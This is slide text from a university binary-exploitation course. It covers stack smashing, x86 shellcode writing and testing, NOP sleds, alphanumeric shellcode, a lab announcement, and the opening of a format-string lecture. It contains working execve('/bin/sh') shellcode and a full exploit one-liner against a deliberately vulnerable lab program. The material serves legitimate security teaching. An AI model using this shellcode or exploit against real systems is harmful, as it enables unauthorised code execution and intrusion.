0xd3	0x54	0xe4	0xb7	<-- Saved Return Address
...	...	...	...	<-- Previous stack frame
...	...	...	...	

Intro03 & Additional Reading

- There are multiple ways to solve intro03, we would like to see you use shellcode to solve it
- http://insecure.org/stf/smashstack.html
- We'll cover writing shellcode & more advanced forms of exploitation later this year

Shellcoding

Modern Binary Exploitation
CSCI 4968 - Spring 2015
Sophia D'Antoine

Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Basic Stack Smashing Review

```
void function(char *str) {
    char buffer[16];
    strcpy(buffer,str);
}

void main() {
   char large_string[256];
   fgets(large_string, strlen(large_string), stdin);

   function(large_string);
}
```

Basic Stack Smashing Review

User enters <= 16 A's, everything is OK

User enters > 16 A's

```
Program received signal SIGSEGV,
Segmentation fault. 0x41414141 in ?? ()
=> 0x41414141: Cannot access memory at
address 0x41414141
```

Basic Stack Smashing Review

0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	... New stack frame
0x41	0x41	0x41	0x41	...
0x41	0x41	0x00	0x00	...
0x40	0xf0	0xff	0xbf	<----- Saved EBP Address
0x71	0x84	0x04	0x08	<----- Saved Return Address
0x20	0xf4	0xff	0xbf	<----- Argument One to gets()
0x00	0x00	0x00	0x00	
0x00	0x00	0x00	0x00	
...	...	...	...	
...	...	...	...	

0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	... New stack frame
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	...
0x41	0x41	0x41	0x41	<----- Saved EBP Address
0x41	0x41	0x41	0x41	<----- Saved Return Address
0x41	0x41	0x41	0x41	<----- Argument One to gets()
0x41	0x41	0x41	0x41	
0x41	0x41	0x41	0x00	
...	...	...	...	
...	...	...	...	

Moving Forward

- In Lab 2 we gave contrived examples with ‘win’ functions to launch a shell, but you won’t be as lucky in the real world
  - Question: What if there’s no win function?
  - Answer: Inject your own!

Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Defining Shellcode

- Shellcode
  - A set of instructions that are injected by the user and executed by the exploited binary
  - Generally the ‘payload’ of an exploit
  - Using shellcode you can essentially make a program execute code that never existed in the original binary
  - You’re basically injecting code

Origins of the Name

- Why the name "shellcode"?
  - historically started a command shell

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Shellcode as C

Shellcode is generally hand coded in assembly, but its functionality can be represented in C

C code snippet

```
char *shell[2];

shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
exit(0);
```

Shellcode as x86

```
8048060: <_start>:
8048060: 31 c0                  xor   eax, eax
8048062: 50                     push  eax
8048063: 68 2f 2f 73 68         push  0x68732f2f
8048068: 68 2f 62 69 6e         push  0x6e69622f
804806d: 89 e3                  mov   ebx, esp
804806f: 89 c1                  mov   ecx, eax
8048071: 89 c2                  mov   eax, edx
8048073: b0 0b                  mov   al, 0x0b
8048075: cd 80                  int   0x80
8048077: 31 c0                  xor   eax, eax
8048079: 40                     inc   eax
804807a: cd 80                  int   0x80
```

Shellcode as a String

```
char shellcode[] =
    "\x31\xc0\x50\x68\x2f\x2f\x73"
    "\x68\x68\x2f\x62\x69\x6e\x89"
    "\xe3\x89\xc1\x89\xc2\xb0\x0b"
    "\xcd\x80\x31\xc0\x40\xcd\x80";
```

Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Hello World Shellcode

```
user_code:
        jmp     message
write_str:
        xor     eax, eax
        xor     ebx, ebx
        xor     edx, edx
        mov     eax, 4
        mov     ebx, 1
        pop     ecx
        mov     edx, 13
        int     0x80
        mov     eax, 1
        xor     ebx, ebx
        int     0x80
message:
        call    write_str
        .ascii  "Hello, World\n"
```

Machine code as a string constant:

```
"\xEB\x21\x31\xC0\x31\xDB\x31\xD2
 \xB8\x04\x00\x00\x00\xBB\x01\x00
 \x00\x00\x59\xBA\x0D\x00\x00\x00
 \xCD\x80\xB8\x01\x00\x00\x00\x31
 \xDB\xCD\x80\xE8\xDA\xFF\xFF\xFF
 \x48\x65\x6C\x6C\x6F\x2C\x20\x57
 \x6F\x72\x6C\x64\x0A"
```

53 Bytes

https://defuse.ca/online-x86-assembler.htm#disassembly

Ø or Null

When shellcode is read as a string, null bytes become an issue with common string functions.

Solution: Make your shellcode NULL free!

The instruction

```
mov    eax, 4        ; "\xB8\x04\x00\x00\x00"
```

can be replaced by:

```
mov    al, 4         ; "\xb0\x04"
```

x86 Register Review

Hello World with NULL Bytes

```
user_code:
        jmp     message
write_str:
        xor     eax, eax
        xor     ebx, ebx
        xor     edx, edx
        mov     eax, 4
        mov     ebx, 1
        pop     ecx
        mov     edx, 13
        int     0x80
        mov     eax, 1
        xor     ebx, ebx
        int     0x80
message:
        call    write_str
        .ascii  "Hello, World\n"
```

Machine code as a string constant:

```
"\xEB\x21\x31\xC0\x31\xDB\x31\xD2
 \xB8\x04\x00\x00\x00\xBB\x01\x00
 \x00\x00\x59\xBA\x0D\x00\x00\x00
 \xCD\x80\xB8\x01\x00\x00\x00\x31
 \xDB\xCD\x80\xE8\xDA\xFF\xFF\xFF
 \x48\x65\x6C\x6C\x6F\x2C\x20\x57
 \x6F\x72\x6C\x64\x0A"
```

53 Bytes

https://defuse.ca/online-x86-assembler.htm#disassembly

Hello World without NULL Bytes

```
user_code:
        jmp     message
write_str:
        xor     eax, eax
        xor     ebx, ebx
        xor     edx, edx
        mov     al, 4
        mov     bl, 1
        pop     ecx
        mov     dl, 13
        int     0x80
        mov     al, 1
        xor     ebx, ebx
        int     0x80
message:
        call    write_str
        .ascii  "Hello, World\n"
```

Machine code as a string constant:

```
"\xEB\x15\x31\xC0\x31\xDB\x31\xD2
 \xB0\x04\xB3\x01\x59\xB2\x0D\xCD
 \x80\xB0\x01\x31\xDB\xCD\x80\xE8
 \xE6\xFF\xFF\xFF\x48\x65\x6C\x6C
 \x6F\x2C\x20\x57\x6F\x72\x6C\x64
 \x0A"
```

41 Bytes

No more NULLs!

https://defuse.ca/online-x86-assembler.htm#disassembly

Optimizing Hello World

```
mini_hello:
        xor     ebx, ebx
        mul     ebx
        mov     al, 0x0a
        push    eax
        push    0x646c726f
        push    0x57202c6f
        push    0x6c6c6548
        mov     al, 4
        mov     bl, 1
        mov     ecx, esp
        mov     dl, 13
        int     0x80
        mov     al, 1
        xor     ebx, ebx
        int     0x80
```

Machine code as a string constant:

```
"\x31\xDB\xF7\xE3\xB0\x0A\x50\x68
 \x6F\x72\x6C\x64\x68\x6F\x2C\x20
 \x57\x68\x48\x65\x6C\x6C\xB0\x04
 \xB3\x01\x89\xE1\xB2\x0D\xCD\x80
 \xB0\x01\x31\xDB\xCD\x80"
```

38 Bytes

Can you make this smaller?

(spoiler: probably can)

Common Tricks

xoring anything with itself clears itself:

```
xor     eax, eax    ; "\x31\xC0"
```

clear three registers in four bytes:

```
xor     ebx, ebx
mul     ebx         ; "\x31\xDB\xF7\xE3"
```

There’s always more than one way to do things

Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes

Linux System Calls

- System calls are how userland programs talk to the kernel to do anything interesting
  - open files, read, write, map memory, execute programs, etc

- libc functions are high level syscall wrappers
  - fopen(), sscanf(), execv(), printf() ...

Libc Wraps Syscalls

Example of how Libc wraps Syscalls:

```
void main()
{
    exit(0);
}
```

```
gcc -masm=intel -static -o exit exit.c
```

Libc Wraps Syscalls

```
gdb exit
(gdb) set disassembly-flavor intel
(gdb) disas _exit
Dump of assembler code for function _exit:
0x0804dbfc <_exit+0>:   mov    ebx, DWORD PTR [esp+4]
0x0804dc00 <_exit+4>:   mov    eax, 0xfc
0x0804dc05 <_exit+9>:   int    0x80
0x0804dc07 <_exit+11>:  mov    eax, 0x1
0x0804dc0c <_exit+16>:  int    0x80
0x0804dc0e <_exit+18>:  hlt
```

; 0xfc = exit_group()

; 0x1 = exit()

This is from **The Shellcoder's Handbook**

Using Syscalls in Shellcode

- Like programs, your shellcode needs syscalls to do anything of interest
- Syscalls can be made in x86 using interrupt 0x80

```
int 0x80
```

- Look at all the pretty syscalls
  - http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html

Hello World (Revisited)

```
user_code:
        jmp     message
write_str:
        xor     eax, eax
        xor     ebx, ebx
        xor     edx, edx
        mov     al, 4
        mov     bl, 1
        pop     ecx
        mov     dl, 13
        int     0x80
        mov     al, 1
        xor     ebx, ebx
        int     0x80
message:
        call    write_str
        .ascii  "Hello, World\n"
```

Syscall = 4 (Write)
Output FD = 1 (STDOUT)
Buffer = “Hello, World\n”
Bytes to write = 13

Hello World (Revisited)

```
user_code:
        jmp     message
write_str:
        xor     eax, eax
        xor     ebx, ebx
        xor     edx, edx
        mov     al, 4
        mov     bl, 1
        pop     ecx
        mov     dl, 13
        int     0x80
        mov     al, 1
        xor     ebx, ebx
        int     0x80
message:
        call    write_str
        .ascii  "Hello, World\n"
```

Syscall = 4 (Write)
Output FD = 1 (STDOUT)
Buffer = “Hello, World\n”
Bytes to write = 13

Basically:

```
write(1, “Hello, World\n”, 13);
```

Syscall Summary

Linux Syscalls sorta use fastcall

- specific syscall # is loaded into eax
- arguments for call are placed in different registers
- int 0x80 executes call to syscall()
- CPU switches to kernel mode
- each syscall has a unique, static number

Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

SSH into the Warzone

warzone.rpis.ec

credz given in class

Writing Shellcode

Writing `exit(0)` as `shellcode`

1. Set EBX to 0
2. Set EAX to 1
3. Call `int 0x80`

```
; exit_shellcode.asm
Section .text
global  _start

_start:
        xor     ebx, ebx
        xor     eax, eax
        mov     al, 1
        int     0x80
```

Compiling Shellcode

Assemble to get object file and link any necessary object files

```
$ nasm -f elf exit_shellcode.asm
$ ld  -o exit_shellcode exit_shellcode.o
$ objdump -M intel -d exit_shellcode
```

Our shellcode as a string, extracted from Objdump:

⇒ `"\x31\xc0\x31\xDB\xB0\x01\xCD\x80"`

Side Note: Stages of Compilation

Testing Shellcode - exit(0);

```
/* gcc -z execstack -o tester tester.c */
char shellcode[] = "\x31\xc0\x31\xDB"
                   "\xB0\x01\xCD\x80";

int main()
{
  (*(void (*)()) shellcode)();
  return 1;
}
```

Testing Shellcode

```
$ gcc -z execstack -o tester tester.c
$ ./tester
$ echo $?
  0
$
```

Our program returned 0 instead of 1, so our shellcode worked

Let’s try something more visual this time

Hello World Shellcode

```
mini_hello:
        xor     ebx, ebx
        mul     ebx
        mov     al, 0x0a
        push    eax
        push    0x646c726f
        push    0x57202c6f
        push    0x6c6c6548
        mov     al, 4
        mov     bl, 1
        mov     ecx, esp
        mov     dl, 13
        int     0x80
        mov     al, 1
        xor     ebx, ebx
        int     0x80
```

Machine code as a string constant:

```
"\x31\xDB\xF7\xE3\xB0\x0A\x50\x68
 \x6F\x72\x6C\x64\x68\x6F\x2C\x20
 \x57\x68\x48\x65\x6C\x6C\xB0\x04
 \xB3\x01\x89\xE1\xB2\x0D\xCD\x80
 \xB0\x01\x31\xDB\xCD\x80"
```

38 Bytes

Testing Shellcode - Hello, World

```
/* gcc -z execstack -o hw hw.c */
char shellcode[] = "\x31\xDB\xF7\xE3\xB0\x0A\x50"
                   "\x68\x6F\x72\x6C\x64\x68\x6F"
                   "\x2C\x20\x57\x68\x48\x65\x6C"
                   "\x6C\xB0\x04\xB3\x01\x89\xE1"
                   "\xB2\x0D\xCD\x80\xB0\x01\x31"
                   "\xDB\xCD\x80";

int main()
{
  (*(void (*)()) shellcode)();
  return 0;
}
```

Testing Shellcode

```
$ gcc -z execstack -o hw hw.c
$ ./hw
Hello, World
$
```

Sweet.

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+5$
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Shellcoding Tools We <3

- Writing Shellcode
  - pwntools (python package)
    - asm
    - disasm
  - https://defuse.ca/online-x86-assembler.htm
- Testing Shellcode
  - shtest

asm / disasm

Basic Usage, you should read the help's (-h)

```
$ asm
  xor eax, eax
  (ctrl+d)
  31c0

$ disasm 31c0
  0:   31 c0        xor     eax,eax
```

Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Shellcode in Exploitation
7. Additional Notes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Shellcode in Exploitation

- In the real world, 99% of binaries won't have a 'win' function laying around for you to return to once you hijack control flow... so what do you do instead?

- You inject shellcode as part of your payload and return to that!

/levels/lecture/inject.c

```c
#include <stdio.h>

/* gcc -z execstack -fno-stack-protector -o inject inject.c */

int main()
{
    char buffer[128];
    puts("where we're going");
    puts("we don't need ... roads.");
    gets(buffer);

    return 0;
}
```

More Relevant Shellcode

Instead of lame shellcode:

```
write("Hello, World")
```

why not do something more exciting:

```
exec("/bin/sh")
```

Pre-made Shellcode

- Some pre-made exec("/bin/sh") shellcode:
  - http://shell-storm.org/shellcode/files/shellcode-811.php
- Sometimes you can reuse pre-made shellcode, but other times you need to craft shellcode to fit the needs of a given scenario or binary
  - hint: you probably won't be able to rely on pre-made shellcode for the upcoming lab

NOP Sleds

- Remember ‘nop’ (\x90) is an instruction that does nothing
- If you don’t know the exact address of your shellcode in memory, pad your exploit with nop instructions to make it more reliable!

```
90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90
90 90 shellcode 90 90 90 90 addr
```

NOP Sleds

- Remember ‘nop’ (\x90) is an instruction that does nothing
- If you don’t know the exact address of your shellcode in memory, pad your exploit with nop instructions to make it more reliable!

```
90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90
90 90 shellcode 90 90 90 90 addr
```

NOP Sleds

- Remember ‘nop’ (\x90) is an instruction that does nothing
- If you don’t know the exact address of your shellcode in memory, pad your exploit with nop instructions to make it more reliable!

```
90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90
90 90 shellcode 90 90 90 90 addr
```

Solving ./inject

An exploit for ./inject:

```
(python -c 'print "\x90"*80 +
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x6
9\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x3
1\xc0\x40\xcd\x80" + "\x90"*32 +
"\x30\xf6\xff\xbf"'; cat;) | ./inject
```

Party like It's '99

- gcc
  - -z execstack
  - -fno-stack-protector

- This is classical exploitation - it's not as easy to simply inject and execute shellcode anymore
  - but you must walk before you can run

Lecture Overview

1. Basic Stack Smashing Review
2. Defining Shellcode
3. Hello World Shellcode
4. Linux System Calls
5. Writing & Testing Shellcode
6. Injecting Shellcode
7. Additional Notes

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+59
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

Function Constraints

- `fgets()` reads stdin until input length, `scanf()` and `gets()` read until terminating character
  - rare to see gets or 'insecure' functions used nowadays
- `\x00` (NULL) byte stops most string functions
  - `strcpy(), strlen(), strcat(), strcmp() ...`
- `\x0A` (newline) byte causes gets(), fgets() to stop reading
  - But not NULLs!

Little Endian

In memory, stuff is going in backwards

String Input: “\x41\x42\x43\x44” (ABCD)

On the Stack: “\x44\x43\x42\x41” (DCBA)

Target Address in Python:

```
pack ( ‘<I’, 0xDDEEFFGG)
```

Little Endian

Alphanumeric Shellcode

Scenario:

Sometimes a program accepts only ASCII characters…
so you need alphanumeric shellcode!

Functions such as `isalnum()` from `ctype.h` are used to check if strings are alphanumeric

- alphanumeric shellcode generally balloons in size
- sometimes constricts functionality

Alphanumeric Shellcode

zeros out eax
⇒ "\x25\x4A\x4F\x4E\x45\x25\x35\x30\x31\x3A"

```
and eax, 0x454e4f4a
and eax, 0x3a313035
```

moves eax into esp
⇒ "\x50\x5C"

```
push   eax
pop    esp
```

Can generally do what you need to, but it's trickier and takes more bytes

OP Code	*Hex*	*ASCII*
inc eax	0x40	@
inc ebx	0x43	C
inc ecx	0x41	A
inc edx	0x42	B
dec eax	0x48	H
dec ebx	0x4B	K
dec ecx	0x49	I
dec edx	0x4A	J

Reduce, Reuse, Recycle

http://shell-storm.org/

http://www.exploit-db.com/shellcode/

Upcoming

Project #1 will be on the Warzone soon

LAB 3 IS ON TUESDAY!

Shellcoding Lab

Modern Binary Exploitation
CSCI 4968 - Spring 2015

Sophia D'Antoine

Lab 3

- ssh warzone.rpis.ec 22
- Username: lab3C
- Password: [REDACTED]
- DUE TUESDAY 1:59pm, MARCH 3rd
  - Final exploit and descriptions sent to mbespring2015+lab3@gmail.com

Lab 3 Tipz

Getting Started:

```
(python -c ‘print “...” ; cat;) | ./lab3C
```

If your exploit works in GDB:

```
(python -c …; cat;) | ltrace -S -i -f ./lab3C
```

Stack addresses change slightly in/out of GDB

You can also use /tools/fixenv

Announcements

- Bonus challenges (For fun and no profit[credit])
  - check /bonus
- Project 1 is out!
  - And we patched it (Feb 26 20:46)
  - Part 1 due: 3/17
  - Part 2 due: 3/31
- CTF: Boston Key Party
  - Fri 5pm - Sun 12pm

(Syllabus will be updated soon)

Format Strings

Modern Binary Exploitation
CSCI 4968 - Spring 2015

Branden Clark

Overview

- What is a format string?
- Format string misuse
- Reading data
- Writing data
- Gaining Control
  - GOT
  - DTOR

```
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], ebx
                jnz     short loc_313066
                mov     eax, [ebp+var_70]
                cmp     eax, [ebp+var_84]
                jb      short loc_313066
                sub     eax, [ebp+var_84]
                push    esi
                push    esi
                push    eax
                push    edi
                mov     [ebp+arg_0], eax
                call    sub_31486A
                test    eax, eax
                jz      short loc_31306D
                push    esi
                lea     eax, [ebp+arg_0]
                push    eax
                mov     esi, 1D0h
                push    esi
                push    [ebp+arg_4]
                push    edi
                call    sub_314623
                test    eax, eax
                jz      short loc_31306D
                cmp     [ebp+arg_0], esi
                jz      short loc_31308F

loc_313066:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+55
                push    0Dh
                call    sub_31411B

loc_31306D:                             ; CODE XREF: sub_312FD8
                                        ; sub_312FD8+49
                call    sub_3140F3
                test    eax, eax
                jg      short loc_31307D
                call    sub_3140F3
                jmp     short loc_31308C
; ---------------------------------------------------------------

loc_31307D:                             ; CODE XREF: sub_312FD8
                call    sub_3140F3
                and     eax, 0FFFFh
                or      eax, 80070000h

loc_31308C:                             ; CODE XREF: sub_312FD8
                mov     [ebp+var_4], eax
```

What is a format string?

```c
#include <stdio.h>
#include <stdlib.h>

int
main(int argc, char *argv[])
{
  char *format = "%s";
  char *arg1 = "Hello World!\n";
  printf(format, arg1);
  return EXIT_SUCCESS;
}
```

What is a format string?

- Lots of functions use them

```
SYNOPSIS
       #include <stdio.h>

       int printf(const char *format, ...);
       int fprintf(FILE *stream, const char *format, ...);
       int sprintf(char *str, const char *format, ...);
       int snprintf(char *str, size_t size, const char *format, ...);

       #include <stdarg.h>

       int vprintf(const char *format, va_list ap);
       int vfprintf(FILE *stream, const char *format, va_list ap);
       int vsprintf(char *str, const char *format, va_list ap);
       int vsnprintf(char *str, size_t size, const char *format, va_list ap);
```

What is a format string?

- String with conversion specifiers
- Common formats

Char	Type	Usage
d	4-byte	Integer
u	4-byte	Unsigned Integer
x	4-byte	Hex
s	4-byte ptr	String
c	1-byte	Character

What is a format string?

- String with conversion specifiers
- The length modifier

Char	Type	Usage
hh	1-byte	char
h	2-byte	short int
l	4-byte	long int
ll	8-byte	long long int

Example: ‘%hd’

What is a format string?

- Common uses
  - Formatting output

```
printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1);
   127.000.000.001
printf("%.2f", 5.6732);
   5.67
printf("%#010x", 3735928559);
   0xdeadbeef
```

  - Counting bytes written

```
printf("%s%n", "01234", &n);
   n = 5
```

Mistakes

- User controlled format string

```c
#include <stdio.h>
#include <stdlib.h>

int
